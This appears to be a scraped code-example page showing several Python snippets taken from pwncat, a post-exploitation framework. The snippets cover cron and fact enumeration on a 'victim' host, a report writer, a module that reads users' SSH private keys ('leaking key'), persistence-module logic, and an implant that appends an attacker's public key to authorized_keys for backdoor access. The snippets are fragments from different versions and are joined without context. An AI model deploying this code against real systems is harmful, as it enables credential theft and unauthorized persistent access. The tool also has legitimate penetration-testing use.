                    if item.type not in facts:
                        facts[item.type] = [item]
                        if output is None:
                            yield item
                        else:
                            yield Status(item.title(session))
                    else:
                        for fact in facts[item.type]:
                            if fact == item:
                                break
                        else:
                            facts[item.type].append(item)
                            if output is None:
                                yield item
                            else:
                                yield Status(item.title(session))
            except ModuleFailed as exc:
                session.log(f"[red]{module.name}[/red]: {str(exc)}")

        # We didn't ask for a report output file, so don't write one.
        # Because output is none, the results were already returned
        # in the above loop.
        if output is None:
            return

        yield pwncat.modules.Status("writing report")

        with output as filp:

            with session.db as db:
                host = db.query(
                    pwncat.db.Host).filter_by(id=session.host).first()

            filp.write(f"# {host.ip} - Enumeration Report\n\n")
            filp.write("Enumerated Types:\n")
            for typ in facts:
                filp.write(f"- {typ}\n")
            filp.write("\n")

            for typ in facts:

                filp.write(f"## {typ.upper()} Facts\n\n")

                sections = []
                for fact in facts[typ]:
                    if getattr(fact.data, "description", None) is not None:
                        sections.append(fact)
                        continue
                    filp.write(
                        f"- {util.escape_markdown(strip_markup(str(fact.data)))}\n"
                    )

                filp.write("\n")

                for section in sections:
                    filp.write(
                        f"### {util.escape_markdown(strip_markup(str(section.data)))}\n\n"
                    )
                    filp.write(f"```\n{section.data.description}\n```\n\n")
Ejemplo n.º 24
0
    def enumerate(self):

        try:
            # Get this user's crontab entries
            user_entries = pwncat.victim.env(["crontab", "-l"]).decode("utf-8")
        except FileNotFoundError:
            # The crontab command doesn't exist :(
            return

        for line in user_entries.split("\n"):
            try:
                yield "software.cron.entry", parse_crontab("crontab -l",
                                                           line,
                                                           system=False)
            except ValueError:
                continue

        known_tabs = ["/etc/crontab"]

        for tab_path in known_tabs:
            try:
                with pwncat.victim.open(tab_path, "r") as filp:
                    for line in filp:
                        try:
                            yield "software.cron.entry", parse_crontab(
                                tab_path, line, system=True)
                        except ValueError:
                            continue
            except (FileNotFoundError, PermissionError):
                pass

        known_dirs = [
            "/etc/cron.d",
            # I'm dumb. These aren't crontabs... they're scripts...
            # "/etc/cron.daily",
            # "/etc/cron.weekly",
            # "/etc/cron.monthly",
        ]
        for dir_path in known_dirs:
            try:
                yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]")
                filenames = list(pwncat.victim.listdir(dir_path))
                for filename in filenames:
                    if filename in (".", ".."):
                        continue
                    yield Status(f"reading [cyan]{filename}[/cyan]")
                    try:
                        with pwncat.victim.open(
                                os.path.join(dir_path, filename), "r") as filp:
                            for line in filp:
                                try:
                                    yield "software.cron.entry", parse_crontab(
                                        os.path.join(dir_path, filename),
                                        line,
                                        system=True,
                                    )
                                except ValueError:
                                    pass
                    except (FileNotFoundError, PermissionError):
                        pass
            except (FileNotFoundError, NotADirectoryError, PermissionError):
                pass
Ejemplo n.º 25
0
    def run(
        self,
        session: "pwncat.manager.Session",
        types: typing.List[str],
        clear: bool,
        cache: bool,
    ):
        """Locate all facts this module provides.

        Sub-classes should not override this method. Instead, use the
        enumerate method. `run` will cross-reference with database and
        ensure enumeration modules aren't re-run.

        :param session: the session on which to run the module
        :type session: pwncat.manager.Session
        :param types: list of requested fact types
        :type types: List[str]
        :param clear: whether to clear all cached enumeration data
        :type clear: bool
        :param cache: whether to return facts from the database or only new facts
        :type cache: bool
        """

        # Retrieve the DB target object
        target = session.target

        if clear:
            # Filter out all facts which were generated by this module
            target.facts = persistent.list.PersistentList(
                (f for f in target.facts if f.source != self.name))

            # Remove the enumeration state if available
            if self.name in target.enumerate_state:
                del target.enumerate_state[self.name]

            return

        # Yield all the know facts which have already been enumerated
        if cache and types:
            cached = [
                f for f in target.facts if f.source == self.name and any(
                    any(
                        fnmatch.fnmatch(item_type, req_type)
                        for req_type in types) for item_type in f.types)
            ]
        elif cache:
            cached = [f for f in target.facts if f.source == self.name]
        else:
            cached = []

        yield from cached

        # Check if the module is scheduled to run now
        if (self.name in target.enumerate_state) and (
            (self.SCHEDULE == Schedule.ONCE
             and self.name in target.enumerate_state) or
            (self.SCHEDULE == Schedule.PER_USER and session.platform.getuid()
             in target.enumerate_state[self.name])):
            return

        for item in self.enumerate(session):

            # Allow non-fact status updates
            if isinstance(item, Status) or self.SCHEDULE == Schedule.NOSAVE:
                yield item
                continue

            # Only add the item if it doesn't exist
            for f in target.facts:
                if f == item:
                    break
            else:
                target.facts.append(item)

            # Don't yield the actual fact if we didn't ask for this type
            if not types or any(
                    any(
                        fnmatch.fnmatch(item_type, req_type)
                        for req_type in types) for item_type in item.types):
                for c in cached:
                    if item == c:
                        break
                else:
                    yield item
            else:
                yield Status(item.title(session))

        # Update state for restricted modules
        if self.SCHEDULE == Schedule.ONCE:
            target.enumerate_state[self.name] = True
        elif self.SCHEDULE == Schedule.PER_USER:
            if self.name not in target.enumerate_state:
                target.enumerate_state[
                    self.name] = persistent.list.PersistentList()
            target.enumerate_state[self.name].append(session.platform.getuid())
Ejemplo n.º 26
0
    def run(self, types, clear):
        """ Locate all facts this module provides.

        Sub-classes should not override this method. Instead, use the
        enumerate method. `run` will cross-reference with database and
        ensure enumeration modules aren't re-run.
        """

        marker_name = self.name
        if self.SCHEDULE == Schedule.PER_USER:
            marker_name += f".{pwncat.victim.current_user.id}"

        if clear:
            # Delete enumerated facts
            query = pwncat.victim.session.query(pwncat.db.Fact).filter_by(
                source=self.name, host_id=pwncat.victim.host.id)
            query.delete(synchronize_session=False)
            # Delete our marker
            if self.SCHEDULE != Schedule.ALWAYS:
                query = (pwncat.victim.session.query(pwncat.db.Fact).filter_by(
                    host_id=pwncat.victim.host.id, type="marker").filter(
                        pwncat.db.Fact.source.startswith(self.name)))
                query.delete(synchronize_session=False)
            return

        # Yield all the know facts which have already been enumerated
        existing_facts = (pwncat.victim.session.query(
            pwncat.db.Fact).filter_by(source=self.name,
                                      host_id=pwncat.victim.host.id).filter(
                                          pwncat.db.Fact.type != "marker"))

        if types:
            for fact in existing_facts.all():
                for typ in types:
                    if fnmatch.fnmatch(fact.type, typ):
                        yield fact
        else:
            yield from existing_facts.all()

        if self.SCHEDULE != Schedule.ALWAYS:
            exists = (pwncat.victim.session.query(pwncat.db.Fact.id).filter_by(
                host_id=pwncat.victim.host.id,
                type="marker",
                source=marker_name).scalar() is not None)
            if exists:
                return

        # Get any new facts
        for item in self.enumerate():
            if isinstance(item, Status):
                yield item
                continue

            typ, data = item

            row = pwncat.db.Fact(host_id=pwncat.victim.host.id,
                                 type=typ,
                                 data=data,
                                 source=self.name)
            try:
                pwncat.victim.session.add(row)
                pwncat.victim.host.facts.append(row)
                pwncat.victim.session.commit()
            except sqlalchemy.exc.IntegrityError:
                pwncat.victim.session.rollback()
                yield Status(data)
                continue

            # Don't yield the actual fact if we didn't ask for this type
            if types:
                for typ in types:
                    if fnmatch.fnmatch(row.type, typ):
                        yield row
                    else:
                        yield Status(data)
            else:
                yield row

        # Add the marker if needed
        if self.SCHEDULE != Schedule.ALWAYS:
            row = pwncat.db.Fact(
                host_id=pwncat.victim.host.id,
                type="marker",
                source=marker_name,
                data=None,
            )
            pwncat.victim.session.add(row)
            pwncat.victim.host.facts.append(row)
Ejemplo n.º 27
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Locate usable file read abilities and generate escalations"""

        # Ensure users are already cached
        list(session.iter_users())

        for ability in session.run("enumerate", types=["ability.file.read"]):

            user = session.find_user(uid=ability.uid)
            if user is None:
                continue

            yield Status(f"leaking key for [blue]{user.name}[/blue]")

            ssh_path = session.platform.Path(user.home, ".ssh")
            authkeys = None
            pubkey = None
            # We assume its an authorized key even if we can't read authorized_keys
            # This will be modified if connection ever fails.
            authorized = True

            try:
                with ability.open(session, str(ssh_path / "id_rsa"),
                                  "r") as filp:
                    privkey = filp.read()
            except (ModuleFailed, FileNotFoundError, PermissionError):
                yield Status(
                    f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]"
                )
                continue

            try:
                with ability.open(session, str(ssh_path / "id_rsa.pub"),
                                  "r") as filp:
                    pubkey = filp.read()
                if pubkey.strip() == "":
                    pubkey = None
            except (ModuleFailed, FileNotFoundError, PermissionError):
                yield Status(
                    f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]"
                )

            if pubkey is not None and pubkey != "":
                try:
                    with ability.open(session,
                                      str(ssh_path / "authorized_keys"),
                                      "r") as filp:
                        authkeys = filp.read()
                    if authkeys.strip() == "":
                        authkeys = None
                except (ModuleFailed, FileNotFoundError, PermissionError):
                    yield Status(
                        f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]"
                    )

            if pubkey is not None and authkeys is not None:
                # We can identify if this key is authorized
                authorized = pubkey.strip() in authkeys

            yield PrivateKey(
                self.name,
                str(ssh_path / "id_rsa"),
                ability.uid,
                privkey,
                False,
                authorized=authorized,
            )
Ejemplo n.º 28
0
    def run(self, remove, escalate, connect, **kwargs):
        """ This method should not be overriden by subclasses. It handles all logic
        for installation, escalation, connection, and removal. The standard interface
        of this method allows abstract interactions across all persistence modules. """

        if "user" not in kwargs:
            raise RuntimeError(f"{self.__class__} must take a user argument")

        # We need to clear the user for ALL_USERS modules,
        # but it may be needed for escalate.
        requested_user = kwargs["user"]
        if PersistType.ALL_USERS in self.TYPE:
            kwargs["user"] = None

        # Check if this module has been installed with the same arguments before
        ident = (pwncat.victim.session.query(
            pwncat.db.Persistence.id).filter_by(host_id=pwncat.victim.host.id,
                                                method=self.name,
                                                args=kwargs).scalar())

        # Remove this module
        if ident is not None and remove:
            # Run module-specific cleanup
            result = self.remove(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result

            # Remove from the database
            pwncat.victim.session.query(pwncat.db.Persistence).filter_by(
                host_id=pwncat.victim.host.id, method=self.name,
                args=kwargs).delete(synchronize_session=False)
            return
        elif ident is not None and escalate:
            # This only happens for ALL_USERS, so we assume they want root.
            if requested_user is None:
                kwargs["user"] = "******"
            else:
                kwargs["user"] = requested_user

            result = self.escalate(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result

            # There was no exception, so we assume it worked. Put the user
            # back in raw mode. This is a bad idea, since we may be running
            # escalate from a privesc context.
            # pwncat.victim.state = State.RAW
            return
        elif ident is not None and connect:
            if requested_user is None:
                kwargs["user"] = "******"
            else:
                kwargs["user"] = requested_user
            result = self.connect(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result
            return
        elif ident is None and (remove or escalate or connect):
            raise PersistError(
                f"{self.name}: not installed with these arguments")
        elif ident is not None:
            yield Status(
                f"{self.name}: already installed with matching arguments")
            return

        # Let the installer also produce results
        result = self.install(**kwargs)
        if inspect.isgenerator(result):
            yield from result
        elif result is not None:
            yield result

        self.register(**kwargs)
Ejemplo n.º 29
0
    def install(self, session: "pwncat.manager.Session", user, key):

        yield Status("verifying user permissions")
        current_user = session.current_user()
        if user != "__pwncat_current__" and current_user.id != 0:
            raise ModuleFailed(
                "only root can install implants for other users")

        if not os.path.isfile(key):
            raise ModuleFailed(f"private key {key} does not exist")

        try:
            yield Status("reading public key")
            with open(key + ".pub", "r") as filp:
                pubkey = filp.read().rstrip("\n") + "\n"
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Parse user name (default is current user)
        if user == "__pwncat_current__":
            user_info = current_user
        else:
            user_info = session.find_user(name=user)

        # Ensure the user exists
        if user_info is None:
            raise ModuleFailed(f"user [blue]{user}[/blue] does not exist")

        # Ensure we haven't already installed for this user
        for implant in session.run("enumerate", types=["implant.*"]):
            if implant.source == self.name and implant.uid == user_info.uid:
                raise ModuleFailed(
                    f"{self.name} already installed for {user_info.name}")

        # Ensure the directory exists
        yield Status("locating authorized keys")
        homedir = session.platform.Path(user_info.home)
        if not (homedir / ".ssh").is_dir():
            (homedir / ".ssh").mkdir(parents=True, exist_ok=True)

        authkeys_path = homedir / ".ssh" / "authorized_keys"

        if authkeys_path.is_file():
            try:
                yield Status("reading authorized keys")
                with authkeys_path.open("r") as filp:
                    authkeys = filp.readlines()
            except (FileNotFoundError, PermissionError) as exc:
                raise ModuleFailed(str(exc)) from exc
        else:
            authkeys = []

        # Add the public key to authorized keys
        authkeys.append(pubkey)

        try:
            yield Status("patching authorized keys")
            with authkeys_path.open("w") as filp:
                filp.writelines(authkeys)
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Ensure correct permissions
        yield Status("fixing authorized keys permissions")
        session.platform.chown(str(authkeys_path), user_info.id, user_info.gid)
        authkeys_path.chmod(0o600)

        return AuthorizedKeyImplant(self.name, user_info, key, pubkey)